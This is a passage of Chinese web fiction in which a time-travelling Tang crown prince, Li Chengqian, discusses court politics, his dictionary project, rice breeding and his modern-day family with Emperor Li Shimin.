李承乾道:“舅父是关陇领袖,我年纪尚小,关陇的世家大族需要舅父替我从中斡旋。” 长孙无忌摇摇头,道:“这是最为肤浅的一层意思,你再想想?” 想个毛线,又不是做数学题,李承乾直接开口问:“舅父,陛下让我来找您,就是让您教我,您教教我呗?” 长孙无忌道:“你的父亲和息隐王、海陵刺王斗了数年,息隐王和海陵刺王都下场,在高祖面前进谗言,甚至给你父亲设鸿门宴,可你的父亲只下场了一次。” 李承乾眉头微皱,玄武门! “这才是你父亲让你来国舅府的目的,你如果是个臣子,你下场没有问题,可你是太子,你下场同臣子对阵,那是自降身份,小打小闹,只会让人觉得你轻浮,没有人君之像。小君,要么不下场,一旦下场就要一劳永逸,这才是你父亲想让我教你的东西。” 李承乾心口一阵酸胀,眼眶有些发热。 从前,没人教过他这些。 “承乾,你要记住,你只有在为陛下做事时才是臣,其他时候你是储君,储君要有储君的威严,君子不重则不威啊!” 第136章 谋划 “我还要告诉你一件事,大唐的太子可以有情,但不能专情于一人,更不能为情乱智。” 帝王家可以出情种,但帝王不能是情种。 “陛下已经为我选了清河房氏与京兆杜氏的女儿为侧妃,我打算在太子妃生下孩子之后,纳他们入东宫。” 长孙无忌点头轻笑,房玄龄没能在东宫三少中占的一个职位,太子詹事的又落到他头上,就选了清河房氏的女儿为太子侧妃,也算绑定了房玄龄同东宫的关系。 韦杜是京兆大家族,韦挺倒向魏王李泰,且在皇帝明确支持太子的前提下左右摇摆,所以太子侧妃的另一个名额给了京兆杜氏,有敲打韦氏的意思,也有李世民对杜克明的情意在。 “心无旁骛编好你的字典,陛下为你造势,可不只是为了儿子出息,这当中的意思,你要仔细琢磨。” 说到这里,长孙无忌郑重看着李承乾:“真有人替你捉刀代笔还罢了,你凭真才实学编出来的字典,才有人坐卧不安。” 长孙无忌这番话言外之意,绝非暗指李泰,李承乾垂眸思索起来。 “那个字典的初稿,我们都看了,古往今来,二十一岁的权臣屡见不鲜,二十一岁力压朝野大儒的太子可不多。你的策论,我们也都看了,这就是你提出做制考的主考,陛下点头过后,朝野无一人反对的原因。 你是关陇李氏和长孙氏的孩子,你的成功是关陇的成就,是李氏皇族的骄傲,长孙氏与有荣焉。世家大族同朝廷的拉扯,从来是此消彼长,我这么说,你能明白了吗?” 李承乾点头,关陇以军功起家,登顶政治,可文化底蕴不厚,所以为崔卢等山东大族不屑,皇帝炫娃是假,造势是真,其本意是打压山东士族文化主导权。 “承乾,陛下造势如此之大,成了获益不菲,若在顷刻间付之一炬,没有东西,此前造势都成了笑话,陛下的人可就丢大了。” 这可比卢家一事,李泰背刺皇帝影响大多了,李承乾不由得脊背发寒。这大半年,皇帝处处维护,安逸太久,他都快忘了自己身处一个怎样危险的环境。 李承乾起身,郑重向长孙无忌拜了一拜,“多谢舅父指点,承乾感激不尽。” 往事过去了就过去了,只要长孙无忌现在愿意扶持他,不坑害他,又有母亲的情意在,舅父就永远是舅父。 从国舅府回宫,苏氏的人早早地在显德殿候着,请太子晚些时候去丽正殿用晚膳,李承乾应下,换了衣服去丽正殿。 苏氏面上疲惫之色甚重,李承乾心下明了,皇帝为他纳妃的事情交给了后宫的贵妃安排,苏氏常去内廷同宫妃闲聊。 “这小子不安分,又折腾他阿娘了?” 苏氏摇摇头,一旁的婢女替苏氏开口:“太子妃得知殿下思念皇后殿下,特地抄写皇后殿下生前所著《女则》,又感念前朝贤德女子,心存敬重,还抄了《女戒》。” 李承乾笑笑,九五夫妇晚年出现婚姻危机,武后也曾抄录《女则》取悦李治。幼年丧母是李治之痛,他受母亲庇护多年,对母亲的情意只会更重。 “我所在的位置,后院不可能只你一个人,你我是患难夫妻,我会尽我所能护你,敬你。纳妃一事,我已经在陛下那里进言推迟了一年,务必等你的孩儿出世。宫妃之间那些闲话,听一听就行了,不要放在心里。” 言罢,李承乾叫来吴顺,耳语了几句。 《括地志》题为魏王李泰撰,主要策划人则是苏勖,苏氏嫡亲的伯父。苏勖联合著作郎萧德言、秘书郎顾胤、魏王记室参军蒋亚卿、魏王功曹参军谢偃等就府参撰。 这件事情,可是把他恶心够了,那个时候的他没有现在这样的通达,迁怒苏氏,连苏氏生的李厥他也不怎么喜欢,一直到苏氏同他一起流放黔州,同他共患难,他才对苏氏有了几分好颜色。 不多时,吴顺取来一个长约一臂的盒子,得到的太子目光示意,上前奉与太子妃。 “给你的礼物,打开来看看。” 李唐皇族多少都有些艺术细胞,李承乾也不例外,他喜欢工笔画,后世轮回中只要有条件,他都会画,最后一世轮回,他又接触到现代美术,他的工笔画技艺也被拔高到了一个新水平。 是她的画像,苏氏喜出望外,拿着画像爱不释手,忙向李承乾道谢,李承乾眼疾手快扶了一把,没让她跪下去。 “孕中本就辛苦,你的情意我知道,那些书不要抄了,对眼睛不好。” 苏氏含泪点头,命人小心将画像收好。 “妾身有孕,象儿那孩子懂事了不少,到底是个孩子,要父母亲自教导,殿下得了空多去看看他。” 此前,他怕李象功课太出风头,压了李治等人一头,引起李治等人不满,万一他天不假年,皇帝立了李治为嗣君,李象遭报复,遂将李象迁出弘文馆。 皇帝知他顾虑,在迁李治出了甘露殿之后,直接将李贞、李治、李明、李象、李欣几个隔开,单人单间,名师一对一教导,李象重回弘文馆。 他有意将孩子带在身边,可苏氏有孕后,李象主动同他避嫌,不愿他为难,说什么都不肯留在东宫由他亲自教导,他也就尊重儿子的选择,除了每日讲课和查功课,父子基本没什么交集。 苏氏提起此事,是有意维护夫妻情分,也是给自己留后路。万一这一胎不是儿子,将得夫君宠爱的庶长子养在身边,为了孩子他也能多来丽正殿,分新人的宠,自己也能尽快受孕。 李承乾看破不点破,漫长的封建社会,女子在大多数情况下,只是男子的附属物品,是这个社会和时代烙印在他们灵魂深处的生存方式。 丽正殿用过晚膳,李承乾回到崇贤馆,整理房遗直、魏叔玉等人白日找出来的资料。 长孙无忌的担忧不无道理,李承乾悄悄将手稿留存显德殿,初稿直接送到甘露殿皇帝手里,崇贤馆只有房遗直、魏叔玉等人抄录的凌乱草稿。 东宫里就有长孙无忌的人,且长孙无忌还是跟皇帝一起组建百骑司的人,可以怀疑长孙无忌的人品,但不能质疑长孙无忌的情报能力。 有人要搞事情,李承乾也很是期待,崇贤馆这把火会烧到谁身上,东宫那些眼线,正好借此机会,名正言顺拔掉。 第137章 敲打李泰 百骑司的密信送上来,李世民沉默了半日时间,最后命人套了车出宫,约了长孙无忌一同到魏王府。 魏王府的文学馆人声鼎沸程度,热闹不输崇贤馆,李泰将《括地志》的前两章奉与李世民。 《括地志》苏勖才是主编,李泰就是挂个名,过往他有以李泰取代李承乾之意,愿意抬举李泰,可现在他没有那个意思了,《括地志》也就没那么惊艳了。 “青雀,太子的《贞观字典》即将成书,于朝廷而言意义重大。” 李泰心下冷笑,他提出编写《括地志》,李承乾甩出一本《贞观字典》,偏偏父亲还要拉偏架。 “儿的《括地志》就那么差吗?” 李世民拍拍李泰肩膀,意味深长的解释:“关陇李姓军功起家,山东大族以书礼传家。打天下看军功,治天下要读书人。山东大族自恃门庭久远,哪怕已经是破落户,依然为天下读书人趋之若鹜。李家天下要久远,就必须打击山东大族的气焰,否则这朝廷殿堂姓李的说话就没有分量了,为父说得这些,你能明白吗?” 李泰听得明白,但他选择装聋作哑,东宫三少,魏征是寒士领袖,李靖出身关陇,李世绩出身代北,加上一个长孙无忌。 李承乾身后有关陇和代北的支持,他只能从山东世族下手,孔颖达孔夫子之后,山东大族魁首,李承乾将人丢到岭南,此前卢家一案李承乾再次树敌山东大族。 李承乾丢过来的机会,他自然要好生把握。 “儿愚钝,请阿耶明示。” “高士廉修《氏族谱》,将关陇李姓定为第四等,山东的崔氏定为第一等。”说到这里,李世民深吸一口气,“崔卢等姓更是放出狂言,就是皇家的皇子公主,他们都看不上。” 父亲的意思,李泰当然明白,就是文化底蕴深厚的山东大族看不上军功起家的关陇李姓,对皇族大不敬,这种风气不能长。 崇贤馆的组成人员,就是李承乾和一群二世祖,想说有人给李承乾捉刀代笔都没嘴说的。 关陇李姓的太子,年仅二十一岁,独立编撰了《贞观字典》,就是父亲甩给山东大族的耳光,削弱山东大族在读书人心中的地位。 “太子的策论,连中书令和魏侍中这些老臣都赞不绝口,称自己无能力教导太子学识。《贞观字典》发行,太子又主考天下士子,参与阅卷考评,关陇李姓的太子一跃为本朝文坛领袖。” 长孙无忌皱眉,不着痕迹的看了眼李泰,这小子,心思挺深,说话很有语言艺术。太子的门生入朝,太子的实力逐渐壮大,皇帝怎会不忌惮? 太子成了文坛领袖,哪怕没有兵权在手,凭借其在读书人心中的地位,皇帝就是再起易储之心,那也得憋着。 “太子是有慧根福报的人,皇孙经了太子教导,功课突飞猛进。太子妃生下嫡子,延请名师教导,又有太子指点,关陇李姓的皇子,最好是一连出两位文坛领袖,好好灭一灭山东大族的气焰。” 李世民含笑点头,十分赞同长孙无忌的话,他当然听得懂李泰言外之意,他要是不知道李承乾的底细,这番话确实会让他猜疑李承乾编撰字典的用心。 但是,他知道李承乾的底细,见识过那个时代的高科技,不会有比李承乾更合适的太子。只要他不动李象,不动苏氏母子,李承乾那点儿欲望直接忽略不计。 “关陇李姓的儿郎,不会忘记自己的姓氏,不会背弃自己的宗族。他人给的耻辱,必定要讨回来。” 李泰笑嘻嘻应下,心里一片冷意,他一直都记得他姓李,这天下也姓李,做了皇帝他才就是关陇李姓家族最优秀的儿郎。 李世民觉得自己的暗示十分清楚,上次卢家的案子,被自己的亲骨肉捅刀子,他告诉自己李泰年幼,不谙世事难免为人蛊惑。 这一次《贞观字典》刊印发行,他亲自来同李泰说明利害关系,作为李家的儿郎,李泰应该知道,什么是大局为重。世家想搞事情是世家的事情,李泰不要掺和进去。 出魏王府,李世民同长孙无忌上了马车,他对自己这个儿子,其实没有太大信心。 “辅机,你说青雀他听懂朕的话了吗?” 长孙无忌半阖着眸子,靠在马车一侧养神,李泰听懂了,也会装作没听懂。李世民心里有答案,又不愿意承认。 “臣是他的舅舅,臣不好说这话。承乾的字典就在这两天了,结果总是比定论更直接。” 李世民一路沉默,心事重重回了甘露殿。 二月末,耗时四个多月,收录一万九千多个字的字典初步定稿,李承乾完成了最后的收尾工作。到甘露殿拜见皇帝,将最后一部分初稿递交给皇帝。 “陛下,臣这一身重担可是卸下来了,《贞观字典》的初稿,要是在甘露殿被损毁,就同臣无关了。” 李世民哈哈一笑,命人给李承乾上茶:“承乾亲自编撰的初稿,朕可舍不得给人,朕会命人重新抄录了一份,那一份送去校订审核,你这一份留在甘露殿。” “东宫有个宫人鬼鬼祟祟,常在崇贤馆徘徊。臣来请示陛下,不知陛下预备如何处置?” 李世民笑容凝滞在嘴角,到底还是来了。 “承乾,你要如何处置此事?” 皇帝舍不得处置李泰,看出来了。 “东宫的桩子,请陛下出手帮臣拔掉,臣不想被人弹劾残暴滥杀。臣不好得罪舅父,他安插的桩子,也只有您去拔。至于其他什么人,陛下圣裁,臣无权置喙。” “将计就计,剩下的事情你别管了,忙你的水稻育种。若真的是青雀,朕这一次不会袒护他。他身后的人,最是可恶。” 李承乾默默在心里给皇帝翻了个白眼,皇帝这次能不能严惩李泰他不知道,他只知道送上门的机会,皇帝肯定会借机踩一脚世家大族,李泰那群门客要倒霉了。 以他对皇帝的了解,先发行字典,工具书好用就能拉一波人心,然后就是占据舆论道德制高点。 大唐天子敕命太子编撰《贞观字典》,本欲造福天下百姓,为国取士,结果某些大族为了从龙之功,鼓动魏王泰火烧崇贤馆,欲毁字典,不顾民生福祉,其心可诛! 一本字典,挑起底层读书人和世家大族的对立,撕人家遮羞布,杀人不见血! “陛下,晋阳公主来了。” 宝贝女儿来了,李世民的眼睛都亮了,赶紧让人把兕子带进来。 李世民笑盈盈等着兕子入怀,结果兕子扑到了李承乾怀里,李世民的笑容僵了。 “阿兄,能为兕子画一幅阿娘的画像吗?” 李承乾抱起小姑娘,笑问:“宫里头有画师,怎么突然要阿兄给你画?” 兕子道:“我去东宫看嫂嫂和侄儿,嫂嫂可宝贝阿兄给她的画像了,兕子也看到了,比画师们画的好多了。” “阿兄这段时间要忙,没时间画的。东宫的佛堂,有一幅现成的,阿兄取下来给你。” 第138章 玩物丧志 父亲愁容不展,李象十分疑惑,父亲轮回千年,不可能不会种田,能种田为何发愁? “阿耶,东宫这两天突然调走了好多人,又调进来好多的人,还是舅公和张翁亲自过来安排的。” 他其实想问,父亲是不是又被皇祖责难了,可父亲说过,不许议论长辈是非,他也只能点到为止。 “咱们身边有别人的心耳神意,你阿翁是好意。” 李象点点头,又问:“阿耶不开心,是因为地不好种吗?” 意识到自己情绪影响到孩子了,李承乾脸上放晴,“是啊!阿耶都快忘记怎么种了,改天出宫去转转,看人家怎么种。” 李承乾拉着李象离开宜春苑,将满腹心事压下。 父子二人才走出去没几步,就见吴安疾步过来禀报:“殿下,陛下到了,在显德殿,请您过去见驾。” 李承乾微微皱眉,休沐日不好好休息,到员工家串门,认真的吗? “象儿,你先回寝殿,为父同你阿翁商议些要事,待会儿过来找你。” 李象乖巧点头,拜别父亲,回到宜春殿继续做数学题。 李承乾到显德殿,一只脚才进门,就见皇帝笑眯眯的迎了上来,来者不善。 “承乾,想不到后世之人作画如此了得。” 李承乾笑着打哈哈,他可不想去干阎立本的差事:“涂鸦之作,让陛下见笑了。” 李世民拍拍李承乾的胳膊,道:“承乾,你太谦虚了,你要是明白,过分的谦虚是一种傲慢。” 李承乾默默收回胳膊,道:“未来科技发展,连画个画都讲究什么光影效果,臣也就学了个皮毛。” “烦请太子执笔,给朕也画上一幅。” 李承乾苦笑,给皇帝画像,阎立本的差事,现在丢给他了。 “陛下,臣……” “朕给你批假,时间管够。” “臣觉得……” “你不用觉得好不好,朕觉得好就行。” 李承乾:…… “陛下,您听臣把话说完。” 李世民白了眼李承乾,哈哈一笑,“别人不知道你什么德行,你老子还不知道?” 说着,李世民学着李承乾的口吻:“陛下恕罪,臣才疏学浅,实在难以胜任,请陛下另寻高人。” 李承乾:…… 皇帝称臣,倒反天罡了这是。 “臣说得是粮种,不是画像。” 李世民道:“承乾,那你就是同意了?” 李承乾:…… “粮种有什么问题?你不会种田吗?小事儿,朕找几个会种田的农人协同你。” 李承乾在下首位置坐了,向皇帝道:“臣想到了另一个问题,就算粮种繁育成功,也难以造福大唐。” 李世民闻言,脸上笑容逐渐消失,“说!” “马和驴生下了骡子,可两头骡子却不能自行繁育后代,牲口是这般,草木如是,生物学上称之为生殖隔离。” 李世民脸色变得凝重起来,李承乾继续刚才的话题:“也就是说,即便臣侥幸成功培育出新的粮种,有很大的可能,这些粮种只能一次性种植。” “后世如何解决这个问题的。” 李承乾道:“这个时代人的思想以家族为本位,所以将君与父并列,用以维护统治,家族为本位的思想,国可以灭但家不可以亡。未来人的思想是以家国,以……中华族为本位,家可以灭但国不可亡。 家国沦亡之际,大多数华夏儿女,哪怕知道以卵击石,仍然会选择以身殉国,而不是苟活。这样的思想之下,国家有需要,一声令下,就有无数中华儿女配合国家的大政方针。 当年国家修建三峡水电站,涉及十五个区县和七个主城区,搬迁移民将近一百三十多万人。祖辈生活的土地,多少不舍,以及对未来的恐慌与不安,可在国家利益面前,绝大多数人都背着包袱,眼含热泪搬走了。 未来的人,有的时候也对国家发牢骚,仅仅只是嘴上发牢骚,经历过国土沦丧,险些亡国灭种,又见国外频繁的战乱,流离失所,饥寒交迫,遍地废墟残垣,我们每一个人都很清楚,没有国家的庇护,连吃饱穿暖都是一种奢望。 就说亩产千斤的杂交水稻培育,只要袁老需要,国家全方面配合,据官方报道出来的,他老人家的试验基地就有五个,每一个都是占地数千亩。还有那些绝密没有被报道出来的,有多少臣也不知道。 高度的国家凝聚力,陛下,这是大唐王朝不具备的条件。您要是这么干,这些世家大族直接跳起来造反。再有,也是非常重要的一点,科技实力,决定了未来可以大规模生产杂交水稻的稻种,满足老百姓的种植需要,这样系统且庞大的工程,是现阶段生产力无法支持的。” 李世民沉默良久,吐出一口长长的浊气:“朕听明白了,粮种就是培育出来,用处也不大。朕不可能将育粮技术公开,承乾,你是不是觉得朕很自私,不是一个好皇帝?” 李承乾道:“世家大族和豪绅巨贾有的是钱,有的是地,粮种繁育的技术公开,他们就可以屯粮,有了钱和粮,就不愁没有兵,有了兵就会形成割据。 未来能够形成家国和中华族为本位的思想,就是统一王朝的长时间统治,思想和文化上的认同感随着时间的推移刻入灵魂。 不相上下的实力,谁都无法吞并谁,除非有一天生产力突然迅猛发展,其中某一个割据势力做到一统,但那个时间跨度太长了,变数太大。 陛下忧心的是成功之后,育粮技术公开,会动摇大唐统治。臣作为后来人,更忧心这种超越时代生产力的技术,造成长时间的割据,会动摇大一统的思想,影响未来国家和中华族的凝聚力。” 李世民点点头,看向李承乾:“你能理解为父,为父很是欣慰。” 李承乾全身鸡皮疙瘩掉了一地,别用这种眼神看着他,瘆得慌! “况且,想要在原有产量上获得更高的亩产,需要化肥,我爸嫌弃市面上的化肥会硬化土地,经常就地取材自制化肥,但他取材的原料,种点儿菜无伤大雅,真的公开了,巨大的利益驱使下,用不了几年,大唐就没有青山绿水了。没有化肥,产量高也高不到哪里去。” 又是那个小吏,李世民听得心里头不痛快。 “后世子女与父母相处,比如你和那个小吏,你会给他画像吗?除了画像,还会为他做什么?” 李承乾思索片刻,“老多了,陪他们烹茶,出去游玩,聊天解闷,辩论,打太极,打游戏,给他们做药膳,按摩,画像……挺多的,臣一时只能列举这么多。” “朕看出来,你是个很喜欢玩儿的人,你和那个小吏,一般玩儿什么游戏?” “王者荣耀、狼人杀、三国杀、围棋、象棋、跳棋、飞行棋……玩儿的挺多的。” 李世民不禁发出感慨,“这么惯着你,没把你养的玩物丧志,那个小吏真是烧高香了。” 李承乾:…… 第139章 全家福 “陛下,臣没得罪您吧?” 李世民摇摇头,两手一摊,“没有。” “那您为什么逮着机会,就贬损臣?” 李世民冷笑,“谁让一直给朕堵心呢?” 他给皇帝堵心,简直莫名其妙。 “臣在太子之位上,不贪图女色,不贪恋权势,不奢侈享乐,陛下有吩咐臣,臣一往无前,算得上兢兢业业,怎么就让您堵心了?” 李世民险些脱口而出“不孝”两个字,生生给压下了,李承乾那张嘴巴刀子一样,细胳膊细腿,他又不敢打,生怕一不小心敲碎了。 “那个稻种,你还种吗?” 李承乾道:“已经种下了,事无绝对,如果安南稻和大唐本土稻种结合出来的新稻种非传统意义上的稻种,不存在生殖隔离呢?哪怕有万分之一的希望,臣也要试上一试。” 李世民抚掌,面露欣赏之色,“有志气!” “字典送交弘文馆审核校正,进度怎么样了?” 说到这个话题,李世民脸上满是得意的笑容,“无论是字典的排版,字的释义,还是摘句举例,高士廉、颜师古他们都是赞不绝口。” 李承乾点点头,这些都是当代大儒,“都是先人的努力,臣就是个摘桃子的。等校正过的字典刊印出来,臣手抄两份,一份留给象儿,一份给觉儿。” “你有没有想过,太子妃这一胎有可能不是儿子,是女儿?还有,李厥出生在贞观十二年,现在都贞观十三年了,你确定他还是李厥吗?” 李承乾沉默片刻,不同的时间段,不一样的精子与卵子结合,怎么会是一个人呢? “是不是李厥,他都是臣的孩子,臣会好好的养他,教导他。于象儿而言,臣不是个好父亲,臣连他小时候是什么样子都忘了,这是臣与象儿的遗憾,臣不会让这样的事情成为臣与觉儿的遗憾。” 李世民道:“小孩子,长得都差不多,忘记了很正常。” “这个时代没有照相机,不能照相,可臣可以把孩子画下来,臣回来之后,象儿每一年生辰,臣都会给他画一幅画像。等觉儿出生,他的满月、百日、周岁,往后每年生辰,臣都会把他画下来。” 李世民叹气,“慈父多败儿!” 李承乾:…… “慈爱又不是溺爱,象儿几次犯错,该挨得打臣一顿没少他的。” 李世民看着李承乾,眼底笑意不绝,“看样子,朕也不该太过溺爱你,该挨得打也不能少你。” 李承乾炸了,又来了。 “你先别急着否认,朕知道你嘴皮子利索,朕不想听你那一堆歪理,不管你轮回多少世,你的灵魂一直都是李承乾。以前朕对不好朕承认,那现在呢?你见面连一句父亲都不叫,朕还得给你赔笑脸,你说朕是不是太溺爱你了?” 李承乾内心大写的服气,真是逻辑鬼才! “象儿呢?把他叫过来,看他阿耶怎么对他阿翁的,让他好好学学,怎么教训不听话的儿子。” 一个称呼罢了,叫就叫,以前又不是没有叫过。 “父亲,要是没有什么事情,您就回去吧!” 李世民道:“普天之下,莫非王土。从来只有朕下逐客令,轮得到你来给朕下逐客令?” “没什么事情,您留在这里做什么?” 李世民深吸一口气,强忍住要打人的冲动,“你把朕赶走了,你干什么去?” “臣不知道,少府监那里,臣改良了炼铁的配比,想去看一下成果。” “你还会炼铁?” 李承乾道:“臣不会,但臣的大学同学有人是相关专业的,有一次同学聚会聊天的时候,谈到这个问题,具体配比不知道,可以慢慢儿试,总能试出臣想要的钢材。” “铁器是国之大计,朕跟你一起去。” “今天是休沐,少府监关门。” 李世民道:“你想去看,朕立刻让少府监众人上值。” “别,这种克扣别人休沐的缺德事,非必要臣不干,太缺德了。” 李世民看向李承乾,总觉得这兔崽子在骂他。 “你在未来,被人克扣过休沐日。” 李承乾点头,道:“研究生结束在一家私企上班,说好的双休,入职之后直接变单休,一到节假日休息日无休,考公之后就不加班了。” “你上次说的什么山七日游,朕给你双份的批假,十五日,够你玩儿的了吧?” 理想很美好,现实很骨感,有必要让皇帝知道古今差异,李承乾起身,走到八宝阁旁,取下他画的当代西安城。 “这是一千四百年后的长安,改名叫西安了。” 李世民笑容凝滞在嘴角,怪不得李承乾不愿意出门,他要是在画中世界活过,他也懒得出门。 “你在未来的家,是什么样子的?” 李承乾递出另一张画,叹了口气,“臣很庆幸,自己学了画,想家的时候还能画一画。” “画上这些人都是谁?” 李承乾凑上前,挨个指认,“这个鬓边有些白发,正在看书的国字脸男子,是的是臣的祖父,他是大学的教授,不仅学识渊博,情绪还特别稳定,臣幼时启蒙,就是祖父手把手教的。这个瘦瘦的,瓜子脸,看书的银发妇人是臣的祖母,她也是国家公职人员,算是吏。 这个看着有些凶的银发男子,是我外祖父,他是商人,未来商人地位不低,他生意做的挺大,您别看他不苟言笑,私下里一点都不凶,同他对弈的就是臣。臣小时候不爱笑,他会穿上各种动物的衣服,做一些滑稽的动作逗臣笑。” 李世民很不解,未来究竟是一个怎样的世界,当外祖父的,低三下四逗外孙笑。 “外祖母去世的早,据说她去世时,老舅才八岁,妈妈十五岁,老舅是我妈带大的,长姐如母,老舅特别疼我。他专门买了一个独栋小院,那些狐狸、松鼠、豚鼠、羊驼还有一只金毛、一只萨摩耶,曼康基、金渐层、银渐层。臣知道,是因为臣喜欢,他才会养。” 太理解了,李承乾回来有多么的难受,这种日子,换做他,他也不想回去。 “这个就是我老舅,他怀里的是我表弟,身边坐的这个看手机的我舅母,她应该是在回复工作。沙发上这个看报纸的是我爸,他的情绪同祖父一样的稳定,浑身上下是一种充满力量的儒雅。这是我妈妈,她在烹茶,她喜欢茶道,闲时喜欢研究些吃食,喜欢古诗,也喜欢歌剧,会唱黄梅戏,会弹钢琴,矜贵,温柔却又刚强。” 李世民道:“这个小吏,气度不凡,看着倒是颇有儒将之风,他是军人,要是生在当下,凭这份气度朕都很想结识。” 这么久了,总算听到皇帝说他爸一句好话,李承乾下巴微微上扬,脸上满是得意之色。 “我爸当过五年的兵,父亲,我祖父母,外祖父,舅父舅母,爸妈他们真的是个很好很好的人。” 第130章 练兵手册 “长安为什么改名叫西安?谁改的,太难听了!” 李承乾抚掌喝彩,难得和皇帝统一战线,“陛下猜一猜兰陵现在叫什么?” “李承乾!”李世民目光直愣愣杀向李承乾,“私下里称父亲,下一次再犯,朕在太极殿喊你明明。” 李承乾心口猛的被捅了一刀,一阵阵抽痛蔓延开来,疼得直发颤。 李世民似乎猜到了什么,却没有追问,那个小吏在李承乾心里地位太高了,没必要自讨没趣。 “总不会兰墓吧?” “叫枣庄。” 李世民:…… “兰陵王成了枣庄王,这种地名放在现在,朕都不好意思封王。对了,还有那些被祸害的地名?” “陈仓叫宝鸡,金陵改成南京,汝南叫驻马店,常山改成石家庄,九原改称包头……” “停!”李世民抬手打断李承乾发言,“后世这些子孙,没事儿乱改什么城名,改朕耳朵都听疼了。” 关于改地名这个事情,李承乾站队皇帝。 “三国杀,听起来很好玩的样子。承乾,你教为父玩玩儿呗?” 玩儿三国杀,李承乾瞬间来了兴趣,三步并作两步上前,从多宝阁上取来一个盒子。 “平时都是拉着象儿和太子妃玩儿,但太子妃不太喜欢这个游戏,后来都是象儿同臣玩儿。” 李世民翻看卡牌,询问李承乾:“游戏规则,讲一下,为父陪你玩儿。” 耐心听李承乾讲完规则,李世民直接倒出盒子里的卡牌,“别磨叽了,玩儿吧!” 信心满满的老玩家,一连三局就被干废了,李承乾很受伤。 “你和高先生玩儿,赢得多吗?” “我爸赢得多。” “你同象儿玩儿,谁赢得多?” “象儿!” 李世民叹气,“你的策略没有问题,但你运气不行,不适合这种赌运气的游戏,往后别玩儿了。运气和实力,总要占一个,策略才会有用处。” 李承乾心下一沉,竟品出了几分谶语的味道。 “那个什么卑斯,你要是觉得半个月不够,为父批你一个月的假,让你出去玩儿。” 提到他的阿尔卑斯七日游,李承乾就觉得难受,提前半个月递的出国审批,结果就这么吹了。 “父亲的好意臣心领了,但阿尔卑斯山不在大唐境内,快马加鞭半个月,能赶过去就不错了。” 这么一说,李世民听明白了,李承乾去阿尔卑斯,要么坐飞机,要么坐高铁,总之不会骑马。 “大唐没有飞机和高铁,不然的话,朕也放开手让你出去玩儿。” 李承乾道:“去阿尔卑斯乘坐火车最好,沿途风景很美的,臣选择飞机是时间不够。” “你怎么又发呆了?” “不知道是不是真的,臣梦见老舅寒假带着表弟和未来那个占据臣身体的人,去澳大利亚半月游了,还去抱考拉了。” 本该属于自己的宠爱,被一个孤魂野鬼夺走了,李承乾心里头不舒服,太正常了,李世民特别理解。 “你已经回不去了,好好做你的太子,别总想着过去的那些事情,那样只会徒增你的痛苦。” 李承乾笑而不语,他怎么会痛苦,被宠爱的依旧是他,是平行时空里面伤痕累累的承乾。 “这就是阿尔卑斯山,臣画的,父亲看看。” 李世民直接要来了李承乾那堆乱糟糟的画稿,一张张翻阅,“后世的人,很不屑现在这个时代吗?” 李承乾摇头,“后人对大唐盛世,十分崇拜的。” 李世民轻笑,“朕不信,可以上天入海,拥有顷刻间灭国大杀器的时代,怎么会觉得这个时代值得崇拜。” “父亲,您不能抛开生产力的事实,直接去谈成果,在当前的社会生产力之下,大唐盛世的确是非常了不起的。” 李世民悠悠一笑,抬头看向李承乾,“当前生产力之下,朕的大唐盛世很了不起。那么承乾,你不引以为傲吗?” 李承乾哭笑不得,皇帝果然是深谙攻城略地之要点,三言两语又把他套路进去了。 承认了当前社会生产力之下,大唐盛世的了不起,他也是引以为傲,那么为什么他不愿意安心留在大唐,还要想着来时的世界。 他能不能回得去,一切都是未知数,皇帝怕有朝一日,他有机会回去,他会带着未来的学识,毫不犹豫离开。 “臣为生于中华为傲,以身为中华儿女为傲。” 很好,从前他和李承乾谈话,他说东,李承乾扯西,现在他们父子之间,总算能想到一块了,虽然是对立。 “朕记得你说过,后世之人治理吐蕃,在维护汉藏关系,以及宣誓藏地主权时,总会提到文成公主入藏,这也是你不愿意阻止文成公主和亲的原因之一。” 吐蕃攻占安西,皇帝知道未来之事,如何还愿意和亲,以他对皇帝的了解,多半会撕毁和亲。 “你们后世能够治理吐蕃,甚至在吐蕃与他国交界的边境驻兵戍卫边防,说明你们后世的兵经过训练,能够适应吐蕃恶劣的自然条件。” “臣听明白了,陛下想要臣提供后世练兵的法子,臣没有从军,这个帮不了陛下。全民皆兵时有训练手册,不过能不能应付吐蕃的气候,臣可以默下来给陛下。” 李世民十分满意的点头,“承乾,留在这里,你的成就较之后世只高不低。” 又来了,皇帝真是无时无刻不在致力于给他洗脑。 “每个时代都有每个时代的父亲,高先生能给你的疼爱,朕也可以给你,朕尊重你来的那个时代,朕可以学做那个时代的父亲。” 李承乾深吸一口气,压下心中翻涌的情绪。 李世民笑着将画作还给李承乾,“改日承乾给朕也画一幅。” “臣,没时间画的。” “你直接说不愿意,朕又不强迫你,更不会为了这些小事责罚你,等你哪一天愿意了,再给朕画。对了,你在后世,你舅父常带你出去游玩吗?你在后世的那个家世,应该也不普通吧?” 李承乾点头,“我爸和祖母是公职人员,都没什么钱,我爸的额外收入主要是收租,我爷爷存款不少,主要是吃专利的股份,他每年养老金也不菲,外祖父的公司我妈有三成的股份,但这些我从来不过问,臣的家庭,在后世算中等。” “直觉告诉朕,你的家世在后世也是大多数人望尘莫及的。” 李承乾沉默片刻,“胜过七八成同时代的人。” “到底是哪些不肖子孙,怎么就想起了给城市改名?” 李承乾:…… 皇帝对改地名,有些耿耿于怀! 第141章 大雨 得知李承乾改良铁器熔炼,李世民结束早朝,就迫不及待去少府监查看成果。 李世民对改良过冶炼比例的铁器还是很满意的,但听说李承乾不不是很满意。能理解,毕竟见过了更好的,换做他,他也不会很满意。 “吐蕃使团来长安,具体时间在四月份。” 皇帝的突袭,李承乾已经习惯,他的低配版《民兵手册》已经画的差不多了。 李世民径直在主位落座,低头看李承乾作画的稿纸,他是练武的行家,一眼就看出了手稿满满的干货。 “后生可敬,后生可畏啊!”感叹完,李世民看向李承乾,“你的记性不错,这些图画都能给默下来。” 他的记忆很好,李承乾也发现了,他学的不一定是最快的那个,但他一但记下来,就一定不会忘记。 李世民点头,目光依旧落在案上的画稿上,“按照你此前说得那些,朕直接想撕毁和亲,再把吐蕃人赶出去。可一想到眼下大唐没有实力攻下吐蕃,也就只能忍下这口恶气。” “父亲特地过来一趟,总不会是专门通知臣的吧?” 李世民笑道:“聪明!” 李承乾笑而不语,不是他聪明,实在是他习惯了皇帝无事不登三宝殿的模式。 “吐蕃说他们的赞普仰慕中原文化,希望能够参观少府监,带回去些能工巧匠。” “父亲过来,是想问吐蕃后来的崛起,是否同大唐和亲陪嫁过去的能工巧匠有关?” 